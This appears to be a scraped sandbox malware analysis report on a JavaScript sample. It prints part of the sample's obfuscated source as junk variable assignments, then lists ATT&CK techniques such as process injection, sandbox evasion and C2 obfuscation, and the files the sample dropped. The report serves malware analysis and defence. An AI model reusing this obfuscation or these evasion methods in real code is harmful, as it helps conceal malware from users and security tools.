549	tdxaeahd = "x";
550	tdxaeahd = "N";
551	tdxaeahd = "v";
552	tdxaeahd = "x";
553	tdxaeahd = "l";
554	tdxaeahd = "x";
555	ckbjir = "H";
556	ckbjir = "W";
557	ckbjir = "x";
558	ckbjir = "k";
559	ckbjir = "r";
560	ckbjir = "P";
561	ckbjir = "Z";
562	ckbjir = "e";
563	ckbjir = "u";
564	ckbjir = "g";
565	ckbjir = "s";
566	ckbjir = "j";
567	ckbjir = "U";
568	ckbjir = "d";
569	ckbjir = "M";
570	ckbjir = "n";
571	ckbjir = "r";
572	ckbjir = "J";
573	ckbjir = "Y";
574	ckbjir = "O";
575	ckbjir = "Q";
576	ckbjir = "a";
577	ckbjir = "k";
578	ckbjir = "y";
579	ckbjir = "s";
580	ckbjir = "D";
581	ckbjir = "Y";
582	ckbjir = "m";
583	ckbjir = "L";
584	ckbjir = "T";
585	ckbjir = "Y";
586	ckbjir = "j";
587	ckbjir = "h";
588	ckbjir = "D";
589	ckbjir = "z";
590	ckbjir = "S";
591	ckbjir = "J";
592	ckbjir = "o";
593	ckbjir = "l";
594	afouysyp = "j";
595	afouysyp = "N";
596	afouysyp = "r";
597	afouysyp = "b";
598	afouysyp = "w";
599	afouysyp = "M";
600	afouysyp = "D";
601	afouysyp = "g";
602	afouysyp = "l";
603	afouysyp = "P";
604	afouysyp = "k";
605	afouysyp = "O";
606	afouysyp = "v";
607	afouysyp = "I";
608	afouysyp = "l";
609	afouysyp = "v";
610	afouysyp = "e";
611	afouysyp = "R";
612	afouysyp = "w";
613	afouysyp = "n";
614	rsygnyroq = "H";
615	rsygnyroq = "S";
616	rsygnyroq = "M";
617	rsygnyroq = "e";
618	rsygnyroq = "Z";
619	rsygnyroq = "j";
620	ivmqm = "c";
621	ivmqm = "Q";
622	ivmqm = "n";
623	ivmqm = "S";
624	ivmqm = "H";
625	ivmqm = "r";
626	ivmqm = "f";
627	ivmqm = "W";
628	ivmqm = "L";
629	ivmqm = "k";
630	ivmqm = "N";
631	ivmqm = "I";
632	ivmqm = "o";
633	ivmqm = "P";
634	ivmqm = "D";
635	ivmqm = "G";
636	ivmqm = "y";
637	ivmqm = "S";
638	ivmqm = "p";
639	ivmqm = "U";
640	ivmqm = "o";
641	ivmqm = "O";
642	ivmqm = "r";
643	ivmqm = "u";
644	ivmqm = "i";
645	ivmqm = "i";
646	ivmqm = "r";
647	ivmqm = "P";
648	ivmqm = "O";
649	ivmqm = "V";
650	ivmqm = "L";
651	ivmqm = "E";
652	ivmqm = "2";
653	yljcgzxso = "O";
654	yljcgzxso = "j";
655	yljcgzxso = "o";
656	yljcgzxso = "U";
657	yljcgzxso = "e";
658	yljcgzxso = "v";
659	yljcgzxso = "n";
660	yljcgzxso = "n";
661	yljcgzxso = "W";
662	yljcgzxso = "H";
663	yljcgzxso = "r";
664	yljcgzxso = "O";
665	yljcgzxso = "a";
666	yljcgzxso = "j";
667	yljcgzxso = "J";
668	yljcgzxso = "N";
669	yljcgzxso = "p";
670	edcdokdol = "T";
671	edcdokdol = "F";
672	edcdokdol = "M";
673	edcdokdol = "O";
674	edcdokdol = "g";
675	edcdokdol = "N";
676	edcdokdol = "W";
677	edcdokdol = "Y";
678	edcdokdol = "i";
679	edcdokdol = "k";
680	edcdokdol = "c";
681	edcdokdol = "b";
682	edcdokdol = "s";
683	edcdokdol = "f";
684	edcdokdol = "n";
685	edcdokdol = "D";
686	edcdokdol = "P";
687	edcdokdol = "p";
688	edcdokdol = "M";
689	edcdokdol = "T";
690	edcdokdol = "d";
691	edcdokdol = "N";
692	edcdokdol = "f";
693	edcdokdol = "O";
694	edcdokdol = "s";
695	edcdokdol = "C";
696	edcdokdol = "g";
697	edcdokdol = "f";
698	edcdokdol = "s";
699	edcdokdol = "v";
700	edcdokdol = "q";
701	edcdokdol = "v";
702	edcdokdol = "i";
703	edcdokdol = "M";
704	edcdokdol = "v";
705	edcdokdol = "u";
706	edcdokdol = "Q";
707	yyqersi = "n";
708	yyqersi = "G";
709	yyqersi = "v";
710	yyqersi = "x";
711	yyqersi = "q";
712	yyqersi = "P";
713	yyqersi = "R";
714	yyqersi = "G";
715	yyqersi = "U";
716	yqwkzww = "B";
717	yqwkzww = "D";
718	yqwkzww = "t";
719	yqwkzww = "F";
720	yqwkzww = "H";
721	yqwkzww = "B";
722	yqwkzww = "C";
723	yqwkzww = "d";
724	yqwkzww = "S";
725	yqwkzww = "t";
726	yqwkzww = "H";
727	yqwkzww = "I";
728	yqwkzww = "q";
729	yqwkzww = "h";
730	yqwkzww = "y";
731	yqwkzww = "W";
732	yqwkzww = "o";
733	yqwkzww = "u";
734	yqwkzww = "T";
735	yqwkzww = "z";
736	yqwkzww = "B";
737	yqwkzww = "K";
738	yqwkzww = "y";
739	yqwkzww = "f";
740	ccwdjehzi = "R";
741	ccwdjehzi = "&";
742	rlphpjf = "Y";
743	rlphpjf = "r";
744	rlphpjf = "b";
745	rlphpjf = "T";
746	rlphpjf = "A";
747	rlphpjf = "I";
748	rlphpjf = "k";
749	rlphpjf = "t";
750	rlphpjf = "v";
751	rlphpjf = "J";
752	rlphpjf = "u";
753	rlphpjf = "W";
754	rlphpjf = "N";
755	rlphpjf = "M";
756	rlphpjf = "t";
757	rlphpjf = "F";
758	rlphpjf = "j";
759	rlphpjf = "c";
760	rlphpjf = "x";
761	rlphpjf = "R";
762	rlphpjf = "C";
763	rlphpjf = "b";
764	rlphpjf = "n";
765	rlphpjf = "H";
766	rlphpjf = "S";
767	rlphpjf = "I";
768	rlphpjf = "w";
769	rlphpjf = "E";
770	rlphpjf = "m";
771	rlphpjf = "W";
772	rlphpjf = "u";
773	rlphpjf = "b";
774	rlphpjf = "c";
775	rlphpjf = "j";
776	rlphpjf = "c";
777	rlphpjf = "d";
778	ibxwdivgp = "z";
779	ibxwdivgp = "h";
780	ibxwdivgp = "Z";
781	ibxwdivgp = "n";
782	ibxwdivgp = "W";
783	ibxwdivgp = "v";
784	ibxwdivgp = "D";
785	ibxwdivgp = "e";
786	ibxwdivgp = "w";
787	ibxwdivgp = "w";
788	ibxwdivgp = "w";
789	ibxwdivgp = "K";
790	ibxwdivgp = "q";
791	ibxwdivgp = "m";
792	ibxwdivgp = "H";
793	ibxwdivgp = "K";
794	ibxwdivgp = "n";
795	ibxwdivgp = "f";
796	ibxwdivgp = "W";
797	ibxwdivgp = "o";
798	ibxwdivgp = "x";
799	ibxwdivgp = "s";
800	ibxwdivgp = "a";
801	ibxwdivgp = "E";
802	ibxwdivgp = "D";
803	ibxwdivgp = "M";
804	ibxwdivgp = "E";
805	ibxwdivgp = "y";
806	ibxwdivgp = "m";
807	ibxwdivgp = "t";
808	tswylf = "o";
809	tswylf = "N";
810	tswylf = "F";
811	tswylf = "l";
812	tswylf = "P";
813	tswylf = "i";
814	tswylf = "j";
815	tswylf = "s";
816	tswylf = "V";
817	tswylf = "w";
818	tswylf = "n";
819	tswylf = "D";
820	tswylf = "F";
821	tswylf = "Q";
822	tswylf = "T";
823	tswylf = "/";
824	ofniqwrg = "Y";
825	ofniqwrg = "L";
826	nlgdmae = "K";
827	nlgdmae = "y";
828	nlgdmae = "q";
829	nlgdmae = "t";
830	nlgdmae = "I";
831	nlgdmae = "a";
832	nlgdmae = "e";
833	nlgdmae = "Y";
834	nlgdmae = "d";
835	nlgdmae = "m";
836	nlgdmae = "D";
837	nlgdmae = "D";
838	nlgdmae = "X";
839	nlgdmae = "P";
840	nlgdmae = "q";
841	nlgdmae = "Q";
842	nlgdmae = "O";
843	nlgdmae = "z";
844	nlgdmae = "R";
845	svbjnuiz = "p";
846	svbjnuiz = "x";
847	svbjnuiz = "w";
848	svbjnuiz = "P";
849	svbjnuiz = "B";
850	svbjnuiz = "F";
851	svbjnuiz = "B";
852	svbjnuiz = "s";
853	svbjnuiz = "X";
854	svbjnuiz = "s";
855	bmrzgzmpc = "t";
856	bmrzgzmpc = "M";
857	bmrzgzmpc = "i";
858	bmrzgzmpc = "M";
859	bmrzgzmpc = "Y";
860	bmrzgzmpc = "C";
861	bmrzgzmpc = "H";
862	bmrzgzmpc = "p";
863	bmrzgzmpc = "T";
864	bmrzgzmpc = "p";
865	bmrzgzmpc = "n";
866	bmrzgzmpc = "H";
867	otolfl = "n";
868	otolfl = "D";
869	otolfl = "S";
870	otolfl = "d";
871	otolfl = "j";
872	otolfl = "s";
873	otolfl = "G";
874	otolfl = "w";
875	otolfl = "T";
876	otolfl = "w";
877	otolfl = "l";
878	otolfl = "m";
879	otolfl = "e";
880	otolfl = "A";
881	otolfl = "W";
882	otolfl = "w";
883	otolfl = "l";
884	otolfl = "j";
885	otolfl = "Z";
886	otolfl = "r";
887	otolfl = "C";
888	otolfl = "T";
889	otolfl = "b";
890	otolfl = "j";
891	otolfl = "k";
892	gofih = "u";
893	gofih = "k";
894	gofih = "j";
895	gofih = "F";
896	gofih = "b";
897	gofih = "A";
898	gofih = "y";
899	gofih = "s";
900	gofih = "R";
901	gofih = "W";
902	gofih = "F";
903	gofih = "P";
904	gofih = "O";
905	gofih = "o";
906	gofih = "A";
907	gofih = "K";
908	gofih = "X";
909	gofih = "j";
910	gofih = "X";
911	gofih = "D";
912	gofih = "z";
913	gofih = "o";
914	gofih = "j";
915	gofih = "M";
916	gofih = "Q";
917	gofih = "g";
918	gofih = "J";
919	gofih = "\"";
920	oxgegmtr = "L";
921	oxgegmtr = "W";
922	oxgegmtr = "O";
923	oxgegmtr = "S";
924	oxgegmtr = "W";
925	oxgegmtr = "B";
926	oxgegmtr = "D";
927	oxgegmtr = "z";
928	oxgegmtr = "F";
929	oxgegmtr = "Q";
930	oxgegmtr = "J";
931	oxgegmtr = "I";
932	oxgegmtr = "a";
933	oxgegmtr = "d";
934	oxgegmtr = "j";
935	oxgegmtr = "U";
936	oxgegmtr = "j";
937	oxgegmtr = "O";
938	oxgegmtr = "i";
939	oxgegmtr = "B";
940	oxgegmtr = "M";
941	oxgegmtr = "G";
942	oxgegmtr = "O";
943	oxgegmtr = "f";
944	oxgegmtr = "P";
945	oxgegmtr = "H";
946	oxgegmtr = "c";
947	oxgegmtr = "T";
948	oxgegmtr = "k";
949	oxgegmtr = "T";
950	yiikuyy = "j";
951	yiikuyy = "L";
952	yiikuyy = "Q";
953	yiikuyy = "u";
954	yiikuyy = "X";
955	yiikuyy = "p";
956	yiikuyy = "D";
957	yiikuyy = "p";
958	yiikuyy = "v";
959	yiikuyy = "M";
960	yiikuyy = "m";
961	yiikuyy = "r";
962	yiikuyy = "x";
963	yiikuyy = "f";
964	yiikuyy = "Y";
965	yiikuyy = "k";
966	yiikuyy = "h";
967	yiikuyy = "O";
968	yiikuyy = "f";
969	yiikuyy = "q";
970	yiikuyy = "N";
971	yiikuyy = "w";
972	yiikuyy = "t";
973	yiikuyy = "m";
974	yiikuyy = "f";
975	yiikuyy = "L";
976	yiikuyy = "P";
977	yiikuyy = "s";
978	yiikuyy = "f";
979	yiikuyy = "Y";
980	yiikuyy = "O";
981	yiikuyy = "u";
982	bwrfcko = "Y";
983	bwrfcko = "V";
984	bwrfcko = "A";
985	bwrfcko = "C";
986	bwrfcko = "v";
987	bwrfcko = "Z";
988	bwrfcko = "E";
989	bwrfcko = "Z";
990	bwrfcko = "M";
991	bwrfcko = "_";
992	xpjvoa = "U";
993	xpjvoa = "Y";
994	xpjvoa = "G";
995	xpjvoa = "y";
996	xpjvoa = "e";
997	xpjvoa = "U";
998	xpjvoa = "O";
999	xpjvoa = "n";
1000	xpjvoa = "g";
1001	xpjvoa = "F";
1002	xpjvoa = "b";
1003	xpjvoa = "H";
1004	xpjvoa = "B";
1005	xpjvoa = "J";
1006	xpjvoa = "i";
1007	xpjvoa = "Z";
1008	xpjvoa = "I";
1009	xpjvoa = "g";
1010	xpjvoa = "v";
1011	xpjvoa = "P";
1012	xpjvoa = "m";
1013	xpjvoa = "I";
1014	xpjvoa = "l";
1015	xpjvoa = "S";
1016	xpjvoa = "A";
1017	xpjvoa = "k";
1018	xpjvoa = "M";
1019	xpjvoa = "R";
1020	xpjvoa = "u";
1021	xpjvoa = "n";
1022	xpjvoa = "I";
1023	xpjvoa = "D";
1024	xpjvoa = "z";
1025	xpjvoa = "T";
1026	xpjvoa = "A";
1027	xpjvoa = "A";
1028	xpjvoa = "W";
1029	xpjvoa = "P";
1030	xpjvoa = "X";
1031	xpjvoa = "F";
1032	xpjvoa = "X";
1033	xpjvoa = "W";
1034	xpjvoa = "5";
1035	wodqquaq = "q";
1036	wodqquaq = "R";
1037	wodqquaq = "H";
1038	wodqquaq = "e";
1039	wodqquaq = "l";
1040	wodqquaq = "y";
1041	wodqquaq = "q";
1042	wodqquaq = "C";
1043	wodqquaq = "x";
1044	wodqquaq = "l";
1045	wodqquaq = "p";
1046	wodqquaq = "e";
1047	wodqquaq = "J";
1048	wodqquaq = "b";
1049	wodqquaq = "S";
1050	wodqquaq = "G";
1051	wodqquaq = "d";
1052	wodqquaq = "Q";
1053	wodqquaq = "e";
1054	wodqquaq = "u";
1055	wodqquaq = "V";
1056	wodqquaq = "v";
1057	fjgkbgzxa = "Q";
1058	fjgkbgzxa = "S";
1059	fjgkbgzxa = "m";
1060	fjgkbgzxa = "L";
1061	fjgkbgzxa = "E";
1062	cnamwfy = "L";
1063	cnamwfy = "v";
1064	cnamwfy = "J";
1065	cnamwfy = "x";
1066	cnamwfy = "k";
1067	cnamwfy = "o";
1068	cnamwfy = "o";
1069	cnamwfy = "P";
1070	cnamwfy = "A";
1071	cnamwfy = "o";
1072	cnamwfy = "q";
1073	cnamwfy = "k";
1074	cnamwfy = "f";
1075	cnamwfy = "n";
1076	cnamwfy = "9";
1077	yjvkuysi = "R";
1078	yjvkuysi = "U";
1079	yjvkuysi = "g";
1080	yjvkuysi = "f";
1081	yjvkuysi = "P";
1082	yjvkuysi = "t";
1083	yjvkuysi = "R";
1084	yjvkuysi = "C";
1085	yjvkuysi = "m";
1086	yjvkuysi = "k";
1087	yjvkuysi = "y";
1088	yjvkuysi = "c";
1089	yjvkuysi = "E";
1090	yjvkuysi = "o";
1091	yjvkuysi = "j";
1092	yjvkuysi = "h";
1093	yjvkuysi = "i";
1094	yjvkuysi = "N";
1095	yjvkuysi = "T";
1096	yjvkuysi = "i";
1097	yjvkuysi = "K";
1098	yjvkuysi = "F";
1099	yjvkuysi = "D";
1100	yjvkuysi = "Z";
1101	yjvkuysi = "K";
1102	qgdac = "F";
1103	qgdac = "l";
1104	qgdac = "M";
1105	qgdac = "i";
1106	qgdac = "d";
1107	qgdac = "w";
1108	jhfvb = "t";
1109	jhfvb = "F";
1110	jhfvb = "o";
1111	jhfvb = "n";
1112	jhfvb = "N";
1113	jhfvb = "u";
1114	jhfvb = "R";
1115	jhfvb = "j";
1116	jhfvb = "V";
1117	jhfvb = "d";
1118	jhfvb = "t";
1119	jhfvb = "F";
1120	jhfvb = "Q";
1121	jhfvb = "f";
1122	jhfvb = "f";
1123	jhfvb = "R";
1124	jhfvb = "X";
1125	jhfvb = "T";
1126	jhfvb = "F";
1127	jhfvb = "i";
1128	jhfvb = "F";
1129	jhfvb = "F";
1130	jhfvb = "k";
1131	jhfvb = "q";
1132	jhfvb = "O";
1133	jhfvb = "L";
1134	jhfvb = "z";
1135	jhfvb = "\\";
1136	crkjylu = "l";
1137	crkjylu = "f";
1138	crkjylu = "M";
1139	crkjylu = "H";
1140	crkjylu = "R";
1141	crkjylu = "y";
1142	crkjylu = "E";
1143	crkjylu = "E";
1144	crkjylu = "S";
1145	crkjylu = "U";
1146	crkjylu = "Q";
1147	crkjylu = "i";
1148	crkjylu = "U";
1149	crkjylu = "j";
1150	crkjylu = "w";
1151	crkjylu = "i";
1152	crkjylu = "C";
1153	crkjylu = "k";
1154	crkjylu = "p";
1155	crkjylu = "g";
1156	crkjylu = "S";
1157	crkjylu = "W";
1158	crkjylu = "d";
1159	crkjylu = "v";
1160	crkjylu = "p";
1161	crkjylu = "H";
1162	crkjylu = "Y";
1163	crkjylu = "X";
1164	crkjylu = "s";
1165	crkjylu = "m";
1166	crkjylu = "O";
1167	crkjylu = "l";
1168	crkjylu = "C";
1169	crkjylu = "h";
1170	crkjylu = "G";
1171	crkjylu = "q";
1172	crkjylu = "r";
1173	crkjylu = "m";
1174	emuwlwmwf = "b";
1175	emuwlwmwf = "I";
1176	emuwlwmwf = "S";
1177	emuwlwmwf = "P";
1178	emuwlwmwf = "j";
1179	emuwlwmwf = "q";
1180	emuwlwmwf = "n";
1181	emuwlwmwf = "M";
1182	emuwlwmwf = "j";
1183	emuwlwmwf = "i";
1184	emuwlwmwf = " ";
1185	rvgybua = "T";
1186	rvgybua = "s";
1187	rvgybua = "P";
1188	rvgybua = "H";
1189	rvgybua = "S";
1190	rvgybua = "j";
1191	rvgybua = "F";
1192	rvgybua = "w";
1193	rvgybua = "a";
1194	rvgybua = "D";
1195	rvgybua = "Q";
1196	rvgybua = "L";
1197	rvgybua = "a";
1198	rvgybua = "L";
1199	rvgybua = "W";
1200	rvgybua = "e";
1201	rvgybua = "@";
1202	usonsikr ( );	usonsikr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 15943270342346830855.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fc17552c-91df-48bb-8111-fce9a5d01db9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5456

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5456

Windows Analysis Report
15943270342346830855.js